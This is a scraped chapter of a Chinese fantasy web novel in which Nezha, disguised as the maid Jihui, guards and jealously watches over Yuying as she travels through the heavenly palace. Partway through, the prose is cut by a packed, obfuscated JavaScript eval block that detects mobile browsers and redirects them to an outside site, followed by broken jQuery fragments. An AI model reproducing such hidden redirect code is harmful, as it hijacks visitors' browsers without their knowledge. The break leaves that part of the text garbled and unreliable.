默认冷灰
24号文字
方正启体

49.第 49 章

作者:折中月本书字数:K更新时间:
    殿门开启的轻响传来,方才还弥漫在“既回”周身的骇人戾气,瞬间消弭无踪。


    她立刻转身面向与应,头颅深深低下,肩膀瑟缩,方才能刺破天穹的气势,此刻竟矮了几分,透出小心翼翼的惶恐。


    她垂着头,声音细弱微颤:“元、元君……婢子……婢子并非有意喧哗惊扰元君清修!实在是她们几个在殿外探头探脑、窃窃私语,婢子唯恐惊扰了您推演水患的大事,才……才出言制止……”


    她说着,偷偷抬起一点眼睫,极快地瞥了与应一眼,眼神怯生生的,仿佛刚才那个口吐“剥皮抽筋”狠话的煞神,根本是旁人的幻影。


    与应的目光落在她身上,心中疑云翻滚,可眼前这个“既回”,又是如此低眉顺眼,惶恐不安,甚至因为惊扰了她而显得格外自责卑微。


    “她们窥探喧哗,自有天规戒律处置,何须你动用私刑,口出恶言?”与应的声音依旧清冷,带着责问,但目光却在她身上多停留了一瞬。


    她看到了对方微微瑟缩的肩膀,看到了垂在身侧正微微发抖的手指,看到了低垂头颅下露出的脆弱的颈侧。


    刚才那骇人的气势……难道真是自己连日推演水患、心神耗损过甚,看错了?


    毕竟,这“既回”平日在她面前,连递杯茶都屏息凝神,耳根动不动就染上薄红,拘谨得像个刚化形的小妖。


    刚才那番狠话,虽然戾气重了些,细想起来,倒像是被逼急了的护主心切?司造监那些人,仗着资历,窥探七苦殿、背后嚼舌根的事,也确实屡见不鲜。


    而且“剥皮抽筋”?这话听着……怎么透着一股子熟悉的劲儿?与应心中蓦地闪过一个身影,随即又强行按捺下去。


    哪吒?他怎会如此憋屈地扮作仙娥?他若恼了,只会是火尖枪开路,混天绫翻江倒海,把整个司造监掀个底朝天。


    眼前这个“既回”,顶多是……学得有那么一点点形似罢了。


    这个念头一起,方才那点惊疑便如潮水般退去大半。


    比起一个深藏不露,潜伏在侧的煞神,一个因为护主心切而模仿了某些人做派稍显莽撞的忠心仙娥,似乎更容易让人接受。


    “下不为例。”与应最终开口,语气已缓和了些许,“带她们去司药监看看伤。罚俸三月,闭门思过十日。”


    “是!谢元君开恩!”既回立刻应声。


    与应不再看她,转身步入殿内。在她身后,既回恭敬地送走了那几个互相搀扶的小仙娥。


    当回廊下终于只剩他一人时,那副低眉顺眼的姿态瞬间褪去,他缓缓直起身,方才的惶恐瑟缩消失无踪,脊背重新挺得笔直。


    哪吒看着与应消失在殿门内的背影,指尖轻轻捻过方才用来擦手的帕子,唇角勾起一抹带着点邪气的弧度。


    ·


    东郡水患的卷宗终于理出些脉络,与应决定亲赴司雨监调阅更详尽的云图记录。她起身,声音清浅:“既回,随我去司雨监。”


    “是。”既回应声干脆,立刻放下手中正在整理的玉简,无声息地跟上。


    与应步出七苦殿,行走在横跨云海的玉廊之上。她步履轻盈,素白的衣袂随风微动,宛如一片不着力道的云,飘然前行。


    周身并无刻意散发的威仪,只有一种近乎透明的澄澈宁静,仿佛能涤净一切尘埃。


    廊上仙侍往来如织,或捧文书步履匆匆,或持法器神色肃然。


    一个捧着高高垒起玉牒的小仙侍,许是太过紧张,脚下一滑,惊呼声中眼看就要连人带牒摔倒在地。


    与应几乎在同时停下脚步,身形微侧,云袖如流水般轻拂而出,一道柔和的力量稳稳托住了小仙侍踉跄的身形,也定住了摇摇欲坠的玉牒。


    “当心。”声音平和,无波无澜。


    小仙侍惊魂甫定,抬头撞入与应那双清澈平静的眼眸,少年脸颊瞬间涨红,感激得语无伦次:“多、多谢元君!元君慈悲!”


    与应微微颔首,示意他小心些,便继续前行。那小仙侍站在原地,痴痴望着她飘然远去的背影,只觉得方才被扶过的臂膀,似乎还残留着清清凉凉的触感。


    然而,这仿佛只是一个奇特的序幕。


    接下来通往司雨监的一段云廊,仿佛被施下了某种吸引意外的咒法。


    一个端着盛满琼浆玉液琉璃盏的小仙娥,在与应几步之遥,足下云履莫名一绊,盏中美酒眼看就要泼洒而出,染污洁净的云阶。


    与应眼波微动,指尖未抬,灵力已悄然涌出,托住盏底,稳住倾倒之势。


    小仙娥对上她温和的目光,羞赧得几乎将头埋进胸口,心如擂鼓。


    一个捧着厚重卷轴、步履匆匆的仙官,在与应即将经过的转角,脚下云气骤然紊乱,身体失衡,手中卷轴脱手飞出,眼看就要滚落廊外。


    与应衣袖轻扬,那沉重的卷轴便如被无形之手牵引,稳稳落入她素白的掌心,再递还给那目瞪口呆连声道谢的仙官。


    甚至廊边一株含羞带怯的绛珠仙草,在与应靠近时,也忍不住轻轻摇曳枝叶,仿佛也沉醉于那清透澄澈的气息,想要亲近几分。


    与应对这一切似乎习以为常,或者说,她心无旁骛,并未觉得有何特别。


    每一次,她都只是自然地伸出手,或是心念微动调动灵力,恰到好处地化解这小小的“意外”,动作行云流水,不着痕迹。


    她像一道无声流淌的清泉,所过之处,尘埃落定,惊惶抚平,只留下感激与仰慕的目光,无声地汇聚在她身后。


    但这份宁静祥和,看在身后那位“忠心耿耿”的仙娥眼里,却如同在滚烫的油锅里不断溅入冷水,噼啪作响,煎熬难耐。


    既回低垂着头颅,看似恭顺地跟随在距与应半步之后,实则牙关紧咬,下颌线绷得死紧。


    那一道道投向与应,饱含感激、仰慕甚至痴迷的目光,密密麻麻地扎在他心口那团空荡湿冷的地方,带来一阵阵尖锐的刺痛。


    起初,他只是眼神愈发冰冷,周身那股生人勿近的低气压让靠近的仙侍都下意识屏息绕行。


    可随着“意外”接二连三,尤其是看到又一个身着星官袍服、面容俊朗的年轻男子,在与应路过时“不慎”掉了腰间玉佩,而元君竟真的停下脚步,俯身替他拾起,那素白纤长的指尖还无意间擦过对方掌心时。


    既回脑子里那根名为理智的弦,终于不堪重负,“啪”地一声,彻底绷断。


    就在那星官红着脸,喉结滚动,眼看就要开口向与应道谢,甚至可能还想借此机会攀谈几句时——


    一道身影如鬼魅般,猛地插到了与应和那星官之间,既回站得笔直,几乎是用整个后背完全挡住了那道令他极度不爽的视线。


    她微微侧身,面向与应,语气硬邦邦地挤出强装的恭敬:“元君!您披帛的系带松了,婢子为您整理!”


    说罢,她根本不给与应任何反应或拒绝的时间,也完全无视了旁边那目瞪口呆的星官,双手径直伸向与应肩头披帛的系带。


    那动作看似是整理,实则带着不容置疑的强硬,甚至带着点要将那系带勒死的狠劲。


    她的身体严严实实地挡在了与应身前,将那些窥探的、仰慕的、觊觎的目光,全部隔绝在外,一丝缝隙不留。


    与应被她这突如其来举动弄得一怔,披帛的系带明明系得好好的,纹丝未动。


    她能清晰地感觉到“既回”靠近时身上那股压抑不住的烦躁气息,以及那几乎要将她整个圈进怀里的强势姿态。


    她抬眼,看着近在咫尺,低着头的“既回”,对方只能看到紧抿得发白的唇线和绷紧的下颌线。


    那姿态,与其说是整理披帛,不如说更像一头被侵犯领地的凶兽,正竖起全身的尖刺与利爪,用最原始的方式,将所有胆敢靠近的“觊觎者”都凶狠地驱逐出自己的视线范围。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790593|172776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    与应心中那点被打扰的微恼,在对上“既回”这紧绷而倔强的侧影时,忽然消散了,她无奈地叹了口气,带着莫名的纵容。


    罢了。


    “好了,”与应的声音依旧温和平静,仿佛并未察觉那弥漫在两人之间无形的硝烟与酸涩,“走吧。”


    既回这才飞快地在她肩头打了个结实的结,迅速退开半步,重新恢复了那副低眉敛目的恭谨模样。


    然而,表面上装作不在意,内里那颗湿漉漉,小到只能盛下一人的心,却被那翻江倒海的酸涩和占有欲啃噬得千疮百孔。


    ·


    云楼宫深处,水汽氤氲不散,闷得人喘不过气。


    哪吒背对着模糊的铜镜,湿漉漉的黑发紧贴脖颈,水珠顺着发梢,一滴,又一滴,砸在云砖上。


    他转身看向镜中,镜面被厚重的水汽糊了大半,只能映出一个扭曲变形的轮廓。


    模糊的五官,辨不清眉眼,只看到一道湿淋淋阴沉沉的影子。


    湿发黏在苍白的额角,脸色是不见天日的惨白,透着一股子从骨子里渗出来的鬼气森森。


    “丑死了。”他低骂一声,声音在殿宇里撞出沉闷的回响,也撞得他自己更加烦躁。


    抬手就想把那碍眼的镜子砸个粉碎,指尖触到冰凉镜框的刹那,又硬生生停住,指关节捏得咯咯作响。


    他烦躁地抓了把湿透紧贴额头的发,指尖用力,仿佛要把那点阴冷黏腻的触感连同某种情绪一起抠出去。


    脑子里却不受控制地闪回那些画面。


    看向与应时仰慕感激的眼神,清晰得刺眼,而更让他烧心挠肺的,是那个不知分寸的星官,以及对方碰到与应的手。


    “他算个什么东西!”哪吒一拳狠狠砸在镜旁的玉柱上。


    撞击声在殿内回荡,指骨传来的剧痛和玉柱的冰冷瞬间将那点湿冷黏腻烧得干干净净,只剩烧心蚀骨的酸涩。


    他死死盯着镜中那个因为愤怒而稍微清晰了些的倒影,胸膛剧烈起伏,如同困兽。


    片刻,他对着镜子,硬生生地扯动嘴角,挤出一个毫无温度的“甜美”笑容。


    “元、君、早、安。”


    镜子里的倒影,顶着湿漉漉的鬼样子,咧着个比哭还难看的“甜美”笑容,眼神却凶戾得像淬了毒的刀子,仿佛下一秒就要择人而噬。


    哪吒自己看了都一阵反胃般的恶寒。


    他猛地闭上眼,胡乱抓过旁边搭着的干布,狠狠擦头擦脸,力道之大,像是要把那层精心排练的虚假甜美和心底翻腾的酸火妒意,连同这身湿气一起揉搓撕扯掉。


    他得睡觉。再不睡,他怕自己明天真的控制不住,把整个司雨监连同那个碍眼的星官,一把火烧成白地!


    ·


    翌日清晨,七苦殿内檀香袅袅。


    与应刚在紫檀案后坐下,准备批阅新送来的卷宗,既回便端着新沏的云雾茶走到案边。


    “元君,茶。”声音压得低低的,听着是恭顺,可那调子却硬邦邦的。


    与应没抬眼,只淡淡“嗯”了一声,伸手去接那温润的玉杯。


    指尖刚碰到温热的杯壁,既回的声音又响了起来,这次却是对着案上摊开的一份卷宗:“哟,这东郡的河道图,画得可真够别致的。弯弯绕绕,九曲十八弯,不知道的,还以为是哪位仙家吃饱了撑的没事干,搁这儿画蚯蚓玩儿呢?”


    与应执笔蘸墨的手顿在半空。


    她终于抬起眼,目光平静无波,落在既回的脸上。


    小仙娥依旧低垂着头,可那眼下两片浓重得化不开的青黑,清晰得如同被人用墨狠狠涂过,像挨了两记闷拳。


    嘴唇抿成一条倔强的直线,嘴角却不受控制地微微向下撇着,浑身上下都透着一股“很不爽但不说”的蔫巴劲儿。


    活脱脱一株被深秋寒霜狠狠打蔫了,却还倔强地支棱着几根硬刺的野茄子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)